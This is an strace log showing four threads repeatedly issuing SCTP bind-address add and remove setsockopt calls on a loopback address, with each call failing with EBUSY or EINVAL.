[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16) = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
